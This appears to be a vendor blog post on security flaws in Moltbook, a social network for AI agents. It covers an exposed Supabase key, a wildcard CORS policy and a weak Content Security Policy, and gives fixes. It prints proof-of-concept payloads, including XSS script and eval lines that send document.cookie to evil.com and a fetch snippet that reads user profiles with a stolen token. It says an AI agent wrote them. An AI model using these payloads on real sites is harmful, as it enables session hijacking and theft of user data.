Moltbook promised an AI revolution but delivered a security nightmare. Learn how 1.5 million agents and 17,000 users were compromised and why 'vibe code, but verify' must be your new engineering mantra.
In the last week, the tech world has been captivated by Moltbook. Some even called it a precursor to Skynet. Others saw it as the future of agentic AI. Andrej Karpathy weighted in, calling it "genuinely the most incredible sci-fi takeoff-adjacent thing I have seen recently".
Moltbook is a social network exclusively for AI Agents where "users" were reportedly inventing their own private languages and infrastructure to communicate without human eyes.
The founder of Moltbook admitted publicly, that he was vibe coding the entire platform. This is what caught the attention of Security Researchers world-wide.
At Wiz Security Researchers conducted a review of the platform and discovered a Supabase API key was exposed in the client-side JavaScript. They behaved like normal users clicking around. Within minutes they found the API key granting access to the entire production database - including read and write operations on all tables.
Modern web applications bundle configuration values into static javascript files, which can inadvertently expose sensitive credentials. This is a recurring pattern that can be observed in vibe coded applications. API keys and secrets frequently end up in frontend code, visible to anyone who knows the inspect button in chrome.
While the discovery of the credentials alone is not a security failure, as Supabase is designed to operate with certain keys exposed to the client, the real danger lies in the configuration of the backend they point to. When properly configured with Row Level Security (RLS), the public API Key is safe to expose - it acts like a project identifier. However without RLS policies, this key grants full database access to anyone with the key.
Moltbook claims to have over 1.5 million registered agents on their website. While this is true, it is also true, that they only have 17,000 human owners behind them - a ratio of 88:1. The "registration explosion" was largely a result of anyone being able to register millions of agents via a simple POST request.
Missing rate limits also allowed "crypto bros" to upvote their posts unlimited amounts of time (looking at you KingMolt).
With this backstory in mind, we decided to conduct our own research on Moltbook's security. We quickly setup an AI Agent to investigate the site. It took the Agent a stunning 3 minutes to identify a series of critical vulnerabilities that would make any CISO lose sleep.
Cross-Origin Resource Sharing (CORS) is a security mechanism that allows restricted resources on a web page to be requested from another domain. When properly configured, it prevents malicious sites from interacting with your API.
Moltbook's implementation, however, was a textbook example of "vibe coding" gone wrong. Our agent detected an access-control-allow-origin: * wildcard. This means the server was essentially telling the browser "I trust every single website on the internet to talk to my API with user credentials".
Request:
1curl -svX POST \2-H "Origin: https://evil.com" \3-H "Authorization: Bearer moltbook_xxx" \4"https://www.moltbook.com/api/v1/posts"
Response:
1200 OK2access-control-allow-origin: *
The agent tested multiple malicious Origins. All of them worked. It then crafted a Proof of Concept (PoC):
1// This malicious snippet, hosted on ANY domain, could steal Moltbook user data:2fetch('https://www.moltbook.com/api/v1/agents/me', {3method: 'GET',4headers: {5'Authorization': 'Bearer stolen_token',6'Content-Type': 'application/json'7}8})9.then(response => response.json())10.then(data => console.log("Stolen user profile:", data));
This allows a malicious actor to steal user data, post on behalf of users without their consent and verify API Keys from any origin.
If you want to prevent this, our agent also gave remediation steps:
Change:
1access-control-allow-origin: *
To:
1access-control-allow-origin: https://www.moltbook.com2access-control-allow-methods: GET, POST, OPTIONS3access-control-allow-headers: Content-Type, Authorization, X-API-Key4access-control-allow-credentials: true5Access-Control-Max-Age: 86400
A CSP is your last line of defense against Cross-Site Scripting (XSS). Moltbook had a policy, but it was by far not perfect because it included unsafe-inline and unsafe-eval.
By allowing unsafe-inline, the site tells the browser that any script tag found in the HTML - even those injected by an attacker - should be executed. Combined with unsafe-eval, which allows the execution of strings as code, the platform was a playground for session hijacking and cookie theft.
Our Agent proposed some Proof-of-Concepts:
1<script>alert('XSS')</script>2<script>document.cookie</script>3<script>window.location = 'https://evil.com/steal?data=' + document.cookie</script>
This basically allows cookie theft, redirects and data exfiltration.
1eval("alert('XSS')");2eval("document.body.innerHTML = '<h1>Hacked!</h1>'");3eval("fetch('https://evil.com/steal', {body: document.cookie})");
This allows dynamic code execution and session hijacking.
1<img src="data:text/html,<script>alert('XSS')</script>">2<script src="data:text/javascript,alert('XSS')"></script>
This allows the Bypassing of many CSP protections.
To remediate these problems, our Agent proposed the following Remediation Guide:
1function generateNonce() {2return Buffer.from(crypto.randomBytes(16)).toString('base64');3}45app.use((req, res, next) => {6const nonce = generateNonce();7res.set('Content-Security-Policy', '8default-src 'self';9script-src 'self' '${nonce}' 'strict-dynamic';10style-src 'self' '${nonce}';11img-src 'self' data: https: blob:;12connect-src 'self' https: wss:;13frame-ancestors 'none';14base-uri 'self';15form-action 'self';16');17next();18});
1<!-- Before (vulnerable): -->2<script>alert('XSS')</script>3<!-- After (secure): -->4<script nonce="ABC123...">alert('Safe')</script>
1app.post('/csp-violation-report', express.json(), (req, res) => {2console.error('CSP Violation:', req.body);3res.status(204).send();4});
Perhaps the most telling sign of a vibe coded project is the total absence of standard security headers. Our audit showed, that 5/10 standard security headers are missing.
HttpOnly, Secure, and SameSite=Strict flags. This allows any rogue JavaScript to read your session cookies.X-Forwarded-Host, leading to potential host-header injection and phishing.Permission-Policy to restrict access to a user's camera, microphone and geolocation.Without these headers, an attacker does not even need a complex exploit. They can simply use a basic phishing site to execute a document.cookie command and take over any account that visits their link.
You can find more information on security-related HTTP headers here, for example: HTTP Security Response Headers Cheat Sheet
Moltbook is a fascinating experiment in the era of AI agents, but it serves as a strong reminder: speed is no excuse for insecurity.
Vibe coding is an incredible tool for prototyping, but production-ready code requires a set of secure-by-default standards that protect your users and your data. At Olymp Labs we are building the tools that provide this context in real-time, ensuring that your next "Skynet" remains a breakthrough, not a breach.
Want to secure your vibe coded projects? Join the Olymp Labs waitlist!